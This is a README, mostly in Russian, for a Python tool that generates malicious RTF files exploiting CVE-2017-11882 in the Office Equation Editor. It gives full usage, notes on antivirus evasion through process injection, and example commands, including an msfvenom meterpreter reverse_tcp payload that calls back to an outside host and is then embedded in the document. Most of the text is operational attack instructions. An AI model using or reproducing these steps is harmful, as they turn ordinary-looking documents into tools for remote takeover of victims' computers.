
CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum.
Эксплойт CVE-2017-11882 принимает команду/код длиной до 17 тысяч байт.
Для удаленного выполнения команд этот эксплойт вызывает WinExec с флагом SW_HIDE и вызывает ExitProcess после возврата из WinExec.
Для удаленного выполнения кода этот эксплойт просто переходит (jmp) на код.
Я не смог найти ссылку на структуру объекта... поэтому не могу изменить длину файла для произвольного выполнения кода..:(
Но я считаю, что 17 тысяч байт действительно достаточно. Python-скрипт определит необходимый размер полезной нагрузки и выберет правильный шаблон.
Внимание: RCE заблокирует процесс winword, если вы не перейдете на другой процесс!
В настоящее время этот эксплойт внедряет ваш shellcode в новый процесс EQNEDT32.EXE, если указан флаг -i. Эта операция подозрительна для антивирусов, но она не заблокирует процесс Word.
usage: CVE-2017-11882.py [-h] -c CMD [-t {0,1}] [-i INJECT] -o OUTPUT
Exploit for CVE-2017-11882 @unamer(https://github.com/unamer/CVE-2017-11882)
optional arguments:
-h, --help show this help message and exit
-c CMD, --cmd CMD Command or shellcode file to run in target system
(Must be shorter than 17967 bytes!!)
-t {0,1}, --type {0,1}
Type (0:shellcode 1:command, default=1)
-i INJECT, --inject INJECT
Inject shellcode to new process
-o OUTPUT, --output OUTPUT
Output exploit rtf
Пример:
Для удаленного выполнения команд
CVE-2017-11882.py -c cmd.exe -o test.rtf
Для удаленного выполнения кода
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=2333 -o ./sc.bin
CVE-2017-11882.py -c sc.bin -t 0 -i 1 -o test.rtf
Установите значение отладчика на путь к вашему отладчику в HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE
Создайте эксплойт и запустите его.
Установите точку останова по адресу 0x41165f
Эта точка останова сработает дважды; при втором срабатывании полезная нагрузка будет выполнена после возврата из этой функции.